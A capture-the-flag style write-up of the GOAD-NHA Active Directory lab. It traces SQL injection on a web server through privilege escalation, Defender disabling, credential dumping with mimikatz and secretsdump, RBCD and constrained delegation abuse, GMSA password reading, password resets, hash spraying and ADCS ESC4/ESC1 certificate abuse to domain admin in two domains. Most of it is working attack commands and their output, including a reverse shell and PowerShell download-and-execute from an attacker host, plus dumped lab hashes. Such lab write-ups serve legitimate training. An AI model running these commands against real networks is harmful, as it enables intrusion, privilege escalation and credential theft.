GOAD-NHA

NHA Lab Write-Up

  • This is not a pro write-up. Just me casually sharing my steps. Enjoy!

Press enter or click to view image in full size

Lab Network Info:

  • WEB → 192.168.56.21 (the web server and entry point)
  • SQL → 192.168.56.22 (SQL Server, reachable via SQLi)
  • SHARE → 192.168.56.23 (a file server)
  • DC-AC → 192.168.56.20 (Domain Controller for academy.ninja.lan)
  • DC-VIL → 192.168.56.10 (Domain Controller for ninja.hack)

The lab has two domains:

• academy.ninja.lan

• ninja.hack

All machines had Defender enabled, and no brute-force was needed.

Starting Point

  • Entry point: WEB (srv-1)→ 192.168.56.21
  • Found a web page showing a student list.
  • The URL had a vulnerable parameter:

http://192.168.56.21/Students?SearchString=test&orderBy=Team

  • The orderBy parameter was vulnerable to SQL injection.
sqlmap -u 'http://192.168.56.21/Students?SearchString=444&orderBy=Team' --batch --level=3 --risk=2 --ignore-code=401 --tamper=between,randomcase --os-shell

SQLMap confirmed it’s MSSQL, and the user is:

nt authority\network service

But the real surprise?

The SQL commands were executing on another machine → SQL at 192.168.56.22

Shell on SQL & PrivEsc

I launched a reverse shell using nc.exe, bypassed AMSI, and found that I had:

using amsi.fail

whoami /priv

SeImpersonatePrivilege Impersonate a client after authentication Enabled

That’s all I needed

Used BadPotato to impersonate SYSTEM and executed adduser.exe to:

iex ([System.Text.Encoding]::ASCII.GetString((iwr “http://192.168.56.1/Invoke-BadPotato.ps1" -UseBasicParsing).Content))
Invoke-BadPotato -command “C:\users\public\adduser.exe”
  • Create a user: fahad
  • Add him to the Administrators group
#include <stdlib.h>
int main () {
int i;
i = system ("net user fahad Password123@ /add");
i = system ("net localgroup administrators fahad /add");
return 0;
}

You need to compile it to exe

Now I fully owned SQL.

I disabled Defender for easier post-exploitation, grabbed two flags, and moved on

Set-MPPreference -DisableRealTimeMonitoring $true
Set-MPPreference -DisableIOAVProtection $true
Set-MPPreference -DisableIntrusionPreventionSystem $true
reg add “HKLM\SYSTEM\CurrentControlSet\Control\Lsa” /v “RunAsPPL” /t REG_DWORD /d 0 /f

BloodHound = Goldmine

I dumped and uploaded BloodHound data and found something interesting:

c:\ProgramData>PsExec64.exe -s -i powershell.exe

PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com

in new window

PS C:\programdata> .\SharpHound.exe
2026-08-18T06:04:31.1717758-07:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of BloodHound
2026-08-18T06:04:31.5753027-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2026-08-18T06:04:31.6425470-07:00|INFORMATION|Initializing SharpHound at 6:04 AM on 8/18/2026
2026-08-18T06:04:32.2468801-07:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for academy.ninja.lan : dc-ac.academy.ninja.lan
2026-08-18T06:04:32.3566566-07:00|INFORMATION|Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2026-08-18T06:04:32.9365569-07:00|INFORMATION|Beginning LDAP search for academy.ninja.lan
2026-08-18T06:04:33.0746427-07:00|INFORMATION|Producer has finished, closing LDAP channel
2026-08-18T06:04:33.0746427-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2026-08-18T06:05:03.0149871-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 35 MB RAM
2026-08-18T06:05:18.0141819-07:00|INFORMATION|Consumers finished, closing output channel
2026-08-18T06:05:18.1547467-07:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2026-08-18T06:05:18.5924516-07:00|INFORMATION|Status: 126 objects finished (+126 2.8)/s -- Using 43 MB RAM
2026-08-18T06:05:18.5924516-07:00|INFORMATION|Enumeration finished in 00:00:45.6834456
2026-08-18T06:05:18.8268961-07:00|INFORMATION|Saving cache with stats: 85 ID to type mappings.
 88 name to SID mappings.
 1 machine sid mappings.
 2 sid to domain mappings.
 1 global catalog mappings.
2026-08-18T06:05:18.8596152-07:00|INFORMATION|SharpHound Enumeration Completed at 6:05 AM on 8/18/2026! Happy Graphing!
PS C:\programdata>

.

SQL has GenericAll rights on the Computers container

Steps:

  1. Dumped NTLM hash of $sql using mimikatz
iex (iwr http://192.168.56.1/Invoke-Mimi.ps1 -UseBasicParsing);Invoke-Mimi -Command '"sekurlsa::ekeys"'

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : SQL$
Domain            : ACADEMY
Logon Server      : (null)
Logon Time        : 8/18/2026 1:22:24 AM
SID               : S-1-5-18

         * Username : sql$
         * Domain   : ACADEMY.NINJA.LAN
         * Password : (null)
         * Key List :
           aes256_hmac       bf13e5519bf0f4640c12ad6c4dc2a0977ddf4c72d39df1f7f84b8e97f4d43b9f
           rc4_hmac_nt       d7fa6321234fdc8f64ece061cf866570
           rc4_hmac_old      d7fa6321234fdc8f64ece061cf866570
           rc4_md4           d7fa6321234fdc8f64ece061cf866570
           rc4_hmac_nt_exp   d7fa6321234fdc8f64ece061cf866570
           rc4_hmac_old_exp  d7fa6321234fdc8f64ece061cf866570

.

2. Used addcomputer.py to create a new computer

impacket-addcomputer academy.ninja.lan/sql$ -hashes :d7fa6321234fdc8f64ece061cf866570 -computer-name attackerPC$ -computer-pass 'P@ssw0rd123!'


┌──(bolke㉿kali)-[~/htb/goad-nha]
└─$ impacket-addcomputer academy.ninja.lan/sql$ -hashes :d7fa6321234fdc8f64ece061cf866570 -computer-name attackerPC$ -computer-pass 'P@ssw0rd123!'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Successfully added machine account attackerPC$ with password P@ssw0rd123!.

.

3. Used dacledit.py to give full control to my new computer



┌──(bolke㉿kali)-[~/htb/goad-nha]
└─$ impacket-dacledit -action write -rights FullControl -inheritance -principal attackerPC$ -target-dn "CN=Computers,DC=academy,DC=ninja,DC=lan" -hashes :d7fa6321234fdc8f64ece061cf866570 academy.ninja.lan/SQL$
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*] DACL backed up to dacledit-20260818-151710.bak
[*] DACL modified successfully!


 


.


 






Press enter or click to view image in full size








attacker machine has genericall on web now


4. adding other computer


┌──(bolke㉿kali)-[~/htb/goad-nha]
└─$ impacket-addcomputer -method SAMR -computer-name PUCKPC$ -computer-pass P@ssw0rd123! -dc-host 192.168.56.20 -domain-netbios ACADEMY ACADEMY/attackerPC$:P@ssw0rd123!
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Successfully added machine account PUCKPC$ with password P@ssw0rd123!.



.


5. Abused RBCD to target WEB


┌──(bolke㉿kali)-[~/htb/goad-nha]
└─$ impacket-rbcd -delegate-from 'PUCKPC$' -delegate-to 'WEB$' -action 'write' 'ACADEMY.NINJA.LAN/attackerPC$:P@ssw0rd123!'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] PUCKPC$ can now impersonate users on WEB$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     PUCKPC$      (S-1-5-21-1689894000-2828720023-2655755433-1138)


.


6. Got a TGT, then a service ticket to impersonate administrator


impacket-getST -spn cifs/WEB.ACADEMY.NINJA.LAN -impersonate administrator ‘ACADEMY.NINJA.LAN/FAHAD$:P@ssw0rd123!’



┌──(bolke㉿kali)-[~/htb/goad-nha]
└─$ impacket-getTGT -aesKey 'bf13e5519bf0f4640c12ad6c4dc2a0977ddf4c72d39df1f7f84b8e97f4d43b9f'  'ACADEMY.NINJA.LAN/SQL$' -dc-ip 192.168.56.20
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in SQL$.ccache
-> wrong

use

┌──(bolke㉿kali)-[~/htb/goad-nha]
└─$ impacket-getTGT 'ACADEMY.NINJA.LAN/PUCKPC$:P@ssw0rd123!' -dc-ip 192.168.56.20
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in PUCKPC$.ccache

┌──(bolke㉿kali)-[~/htb/goad-nha]
└─$ export KRB5CCNAME=PUCKPC\$.ccache

┌──(bolke㉿kali)-[~/htb/goad-nha]
└─$ klist
Ticket cache: FILE:PUCKPC$.ccache
Default principal: PUCKPC$@ACADEMY.NINJA.LAN

Valid starting       Expires              Service principal
08/18/2026 15:36:30  08/19/2026 01:36:30  krbtgt/ACADEMY.NINJA.LAN@ACADEMY.NINJA.LAN
        renew until 08/19/2026 15:36:30

┌──(bolke㉿kali)-[~/htb/goad-nha]
└─$ impacket-getST -spn cifs/WEB.ACADEMY.NINJA.LAN -impersonate administrator 'ACADEMY.NINJA.LAN/PUCKPC$:P@ssw0rd123!'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator@cifs_WEB.ACADEMY.NINJA.LAN@ACADEMY.NINJA.LAN.ccache

....



 


 


7. Used impacket-secretsdump to dump everything from WEB


export KRB5CCNAME=administrator@cifs_WEB.ACADEMY.NINJA.LAN@ACADEMY.NINJA.LAN.ccache


impacket-secretsdump -no-pass -k administrator@WEB.ACADEMY.NINJA.LAN



┌──(bolke㉿kali)-[~/htb/goad-nha]
└─$ klist
Ticket cache: FILE:administrator@cifs_WEB.ACADEMY.NINJA.LAN@ACADEMY.NINJA.LAN.ccache
Default principal: administrator@ACADEMY.NINJA.LAN

Valid starting       Expires              Service principal
08/18/2026 15:37:12  08/19/2026 01:36:30  cifs/WEB.ACADEMY.NINJA.LAN@ACADEMY.NINJA.LAN
        renew until 08/19/2026 15:36:30

....

┌──(bolke㉿kali)-[~/htb/goad-nha]
└─$ impacket-secretsdump -no-pass -k administrator@WEB.ACADEMY.NINJA.LAN
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x3f6fe96ab321aca0000d59ed0dfd4bcc
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0c532fcf2046010cb8d38eedf5e45312:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6d587fe93bb333e51b07759bc056d261:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
ACADEMY\WEB$:plain_password_hex:79004a006700690078007900220063004400570060003b0025003d00470067007a005b002b004e005c002d005700780050002800550031006b00250048002f0050005f005c004b004200280078006800760060005c004c0074002b006500220068006c002600770030006600280047002e00720069004300620061005f007100580075003b002600290042006f004d003900210043005f004f004b002a0058003c004e00690063003200770043005c002a003400340021004a007400720065002a002b00630022005d0070002b00650061003400480063003e00310021006d006e002d002d006b005400200058005900
ACADEMY\WEB$:aad3b435b51404eeaad3b435b51404ee:9c64f8b96c129d62f67cf7cd6bdf88d0:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x30f91d49da6d7bcd822a8ef5b6a69377df9e3d7e
dpapi_userkey:0x22d66027e0828bdd2822a23fa1506dce814516e1
[*] NL$KM
 0000   6A 2F A7 33 55 6E B4 2D  26 EA 27 3B 9B C0 A2 5C   j/.3Un.-&.';...\
 0010   D6 5C CC CC 8C 6A 7B 82  D1 83 BC 0B 4F 1A 89 42   .\...j{.....O..B
 0020   66 4F 98 75 84 97 FF AE  F4 C4 7A 60 0D 6A 41 DA   fO.u......z`.jA.
 0030   75 B3 F0 BD 65 28 BD 52  06 8C 06 AA DB BB A1 9A   u...e(.R........
NL$KM:6a2fa733556eb42d26ea273b9bc0a25cd65ccccc8c6a7b82d183bc0b4f1a8942664f98758497ffaef4c47a600d6a41da75b3f0bd6528bd52068c06aadbbba19a
[*] Cleaning up...
[*] Stopping service RemoteRegistry



.


verify found creds


┌──(bolke㉿kali)-[~/htb/goad-nha]
└─$ nxc smb 192.168.56.21 -u '.\administrator' -H 'aad3b435b51404eeaad3b435b51404ee:0c532fcf2046010cb8d38eedf5e45312'
SMB         192.168.56.21   445    WEB              [*] Windows 10 / Server 2019 Build 17763 x64 (name:WEB) (domain:academy.ninja.lan) (signing:False) (SMBv1:None)
SMB         192.168.56.21   445    WEB              [+] .\administrator:0c532fcf2046010cb8d38eedf5e45312 (Pwn3d!)




.


evil-winrm -i WEB.ACADEMY.NINJA.LAN -u Administrator -H ‘0c532fcf2046010cb8d38eedf5e45312’


iex (iwr http://192.168.56.1/Invoke-Mimi.ps1 -UseBasicParsing);Invoke-Mimi -Command '"sekurlsa::ekeys"'

files on disk suggest we are running in a sandbox. Caution!.
C:\windows\System32\Drivers\VBoxMouse.sys
C:\windows\System32\Drivers\VBoxGuest.sys
C:\windows\System32\Drivers\VBoxSF.sys
C:\windows\System32\vboxhook.dll
C:\windows\System32\vboxmrxnp.dll
C:\windows\System32\vboxservice.exe
C:\windows\System32\vboxtray.exe
C:\windows\System32\VBoxControl.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 May 23 2024 17:47:47
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(powershell) # sekurlsa::ekeys

Authentication Id : 0 ; 92728976 (00000000:0586ee90)
Session           : NetworkCleartext from 0
User Name         : frank
Domain            : ACADEMY
Logon Server      : DC-AC
Logon Time        : 8/18/2026 7:09:55 AM
SID               : S-1-5-21-1689894000-2828720023-2655755433-1132

         * Username : frank
         * Domain   : ACADEMY.NINJA.LAN
         * Password : (null)
         * Key List :
           aes256_hmac       a0d676dd3e4d7673ec255caf010e1e350f1b09d8871b88eb01c4c8ba4217beac
           rc4_hmac_nt       d4fad93561dee253398d5891e991a6fb
           rc4_hmac_old      d4fad93561dee253398d5891e991a6fb
           rc4_md4           d4fad93561dee253398d5891e991a6fb
           rc4_hmac_nt_exp   d4fad93561dee253398d5891e991a6fb
           rc4_hmac_old_exp  d4fad93561dee253398d5891e991a6fb

<snip>

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : WEB$
Domain            : ACADEMY
Logon Server      : (null)
Logon Time        : 8/14/2026 5:35:06 PM
SID               : S-1-5-18

         * Username : web$
         * Domain   : ACADEMY.NINJA.LAN
         * Password : (null)
         * Key List :
           aes256_hmac       9b24d3628174c8eb291229e0b6e14b03754235902a3d969447251ae2794ee4e7
           rc4_hmac_nt       9c64f8b96c129d62f67cf7cd6bdf88d0
           rc4_hmac_old      9c64f8b96c129d62f67cf7cd6bdf88d0
           rc4_md4           9c64f8b96c129d62f67cf7cd6bdf88d0
           rc4_hmac_nt_exp   9c64f8b96c129d62f67cf7cd6bdf88d0
           rc4_hmac_old_exp  9c64f8b96c129d62f67cf7cd6bdf88d0
....



.






all abuse got it from bloodhound


then turn off defender


Set-MPPreference -DisableRealTimeMonitoring $true

Set-MPPreference -DisableIOAVProtection $true

Set-MPPreference -DisableIntrusionPreventionSystem $true


reg add “HKLM\SYSTEM\CurrentControlSet\Control\Lsa” /v “RunAsPPL” /t REG_DWORD /d 0 /f


and dump Lsass using netexec


netexec smb 192.168.56.21 -u administrator -H ‘0c532fcf2046010cb8d38eedf5e45312’ — local-auth -M lsassy


got frank hashes !


ACADEMY\frank d4fad93561dee253398d5891e991a6fb


Flag captured


Moving to SHARE


From BloodHound again:

frank@academy.ninja.lan has constrained delegation rights on SHARE.


Used his NTLM hash to:


1. Impersonate administrator using getST


impacket-getST -spn ‘eventlog/share’ -impersonate ‘administrator’ -altservice ‘cifs/share’ -hashes :d4fad93561dee253398d5891e991a6fb -dc-ip ‘academy.ninja.lan’ ‘academy.ninja.lan/frank’


2. Dump secrets from SHARE via secretsdump


export KRB5CCNAME=administrator@cifs_share@ACADEMY.NINJA.LAN.ccache


impacket-secretsdump @share -k -no-pass -target-ip 192.168.56.23


also i found on bloodhound
























GMSANFS$@ACADEMY.NINJA.LAN is a Group Managed Service Account. The computer SHARE.ACADEMY.NINJA.LAN can retrieve the password for the GMSA GMSANFS$@ACADEMY.NINJA.LAN.


so i used GMSAPasswordReader.exe as nt authority system


GMSAPasswordReader.exe — accountname GMSANFS$




Calculating hashes for Current Value [*] Input username : gmsaNFS$ [*] Input domain : ACADEMY.NINJA.LAN [*] Salt : ACADEMY.NINJA.LANgmsaNFS$ [*] rc4_hmac : 363837C6D1F160E431017A5617C1D15D [*] aes128_cts_hmac_sha1 : 0EF469B30DCF37EEF97ACE5E8CD10C93 [*] aes256_cts_hmac_sha1 : 78A6D89A563BB510FF8F6FD2462549A30629D0B64ACFBD9FE2E4BB1EAB9C4727 [*] des_cbc_md5 : A1687AD958EFB54A




Flag captured


Attacking DC-AC (Academy Domain Controller)


Found a Group Managed Service Account: GMSANFS$


It had ForceChangePassword on backup user


Used pth-net rpc to change backup‘s password and logged in.


Found that backup had:




WriteOwner on “Domain Admins”




pth-net rpc password “backup” “P@ssw0rd123!” -U “academy.ninja.lan”/”GMSANFS$”%”ffffffffffffffffffffffffffffffff”:”363837C6D1F160E431017A5617C1D15D” -S “192.168.56.20”


so now i can add user backup to domains admins gorups


net rpc group addmem “Domain admins” “backup” -U “academy.ninja.lan”/”backup”%”P@ssw0rd123!” -S “192.168.56.20”




Could not add backup to Domain admins: NT_STATUS_ACCESS_DENIED




got error


so i accessed to backup account via rdp using runas from SHARE Computer


runas /user:academy.ninja.lan\backup cmd


PS C:\tmp> . .\PowerView.ps1
PS C:\tmp> Set-DomainObjectOwner -Identity “Domain Admins” -OwnerIdentity “ACADEMY\backup”


net rpc group addmem “Domain admins” “backup” -U “academy.ninja.lan”/”backup”%”P@ssw0rd123!” -S “192.168.56.20”


no error showed so its succeed


netexec smb 192.168.56.20 -u ‘backup’ -p ‘P@ssw0rd123!’


SMB 192.168.56.20 445 DC-AC [+] academy.ninja.lan\backup:P@ssw0rd123! (Pwn3d!)


Got Domain Admin

Grabbed the flag from DC-AC.


Final Win — DC-VIL (ninja.hack)


After fully compromising the academy.ninja.lan domain, it was time to go after the second one — ninja.hack, hosted on 192.168.56.10.


Domain Trust Enumeration


Using PowerView, I checked if there was any trust between the two domains:


Get-NetDomainTrust


And yes — it’s bidirectional trust

That means I can enumerate and interact with ninja.hack using users from academy.ninja.lanand i can extract the users and use sharphound


Get-NetUser -Domain ninja.hack | Select-Object SamAccountName


.\SharpHound.exe -c all -d ninja.hack


User Discovery with Kerbrute


I ran Kerbrute against both domains to find valid users.


kerbrute userenum -d ninja.hack — dc 192.168.56.10 hack_user


kerbrute userenum -d academy.ninja.lan — dc 192.168.56.20 users


From that, I noticed some users have the same name but different format:


    

  • alice in academy → alice.johnson in ninja
    • 

  • olivia → olivia.davis
    • 

  • frank → frank.umino
    • 



I decided to try spraying the NTLM hashes I got earlier from academy onto these users.


netexec smb 192.168.56.10 -u same-users -H potintinal-hash


SMB 192.168.56.10 445 DC-VIL [+] ninja.hack\olivia.davis:91d85135bb2c4e12c46efbb77612c487


olivia.davis worked! I had valid creds for her in ninja.hack.


Using BloodHound, I discovered that olivia.davis has WriteDACL permissions on rachel.philips.


That means I can give olivia full control over rachel:






Press enter or click to view image in full size








python3 dacledit.py -action write -rights FullControl -principal ‘OLIVIA.DAVIS’ -target ‘RACHEL.PHILIPS’ -domain ‘NINJA.HACK’ -hashes :91d85135bb2c4e12c46efbb77612c487


Then I reset rachel‘s password using:


pth-net rpc password “RACHEL.PHILIPS” “P@ssw0rd123!” -U “ninja.hack/OLIVIA.DAVIS%ffffffffffffffffffffffffffffffff:91d85135bb2c4e12c46efbb77612c487” -S 192.168.56.10


Logged in as rachel.philips successfully


Group Membership + Privilege Escalation


Found out that RACHEL.PHILIPS can be added to the JONIN group because the SANIN group (which she is a part of) has GenericAll over it.


So I did:


net rpc group addmem “JONIN” “RACHEL.PHILIPS” -U “NINJA.HACK/RACHEL.PHILIPS%P@ssw0rd123!” -S 192.168.56.10


Still, nothing valuable on BloodHound — so I dug deeper…


netexec smb 192.168.56.10 -u ‘RACHEL.PHILIPS’ -p ‘P@ssw0rd123!’ -M enum_ca


found cert so i used


certipy find -vulnerable -hide-admins -u RACHEL.PHILIPS@ninja.hack -p ‘P@ssw0rd123!’ -dc-ip 192.168.56.10


Found one! ➜ SignatureValidation








and ESC4 vulnerable


to abuse ESC4 use


certipy template -u ‘rachel.philips@ninja.hack’ -p ‘P@ssw0rd123!’ -dc-ip ‘192.168.56.10’ -template ‘SignatureValidation’






Press enter or click to view image in full size








now its shows ESC1–4 i will abuse ESC1


certipy req -u ‘rachel.philips@ninja.hack’ -p ‘P@ssw0rd123! -ca ‘NINJA-CA’ -template ‘SignatureValidation’ -upn ‘Administrator@ninja.hack’ -dc-ip ‘192.168.56.10’


certipy auth -pfx administrator.pfx -dc-ip 192.168.56.10


i got error


[-] Object SID mismatch between certificate and user ‘administrator’


we need add the sid of user administrator to the req


certipy req -u ‘rachel.philips@ninja.hack’ -p ‘meow1755@’ -ca ‘NINJA-CA’ -template ‘SignatureValidation’ -upn ‘Administrator@ninja.hack’ -target-ip ‘192.168.56.10’ -sid ‘S-1–5–21–3134746299-1297669067-2432640097-500’


i got the sid from bloodhound


certipy auth -pfx administrator.pfx -dc-ip 192.168.56.10






Press enter or click to view image in full size








for trouble shooting certipy make sure you are using 5.0.3 version

the sid maybe changed

if You faced error restart the lab


Special Thanks


Thanks too : NHA Lab Write-Up — From Web to Domain Admin (Twice) | by Law | Medium


and Big thanks to the Mayfly who made this lab — it was super fun and helpful.

If you want to try it, here’s the link:

https://orange-cyberdefense.github.io/GOAD/labs/NHA/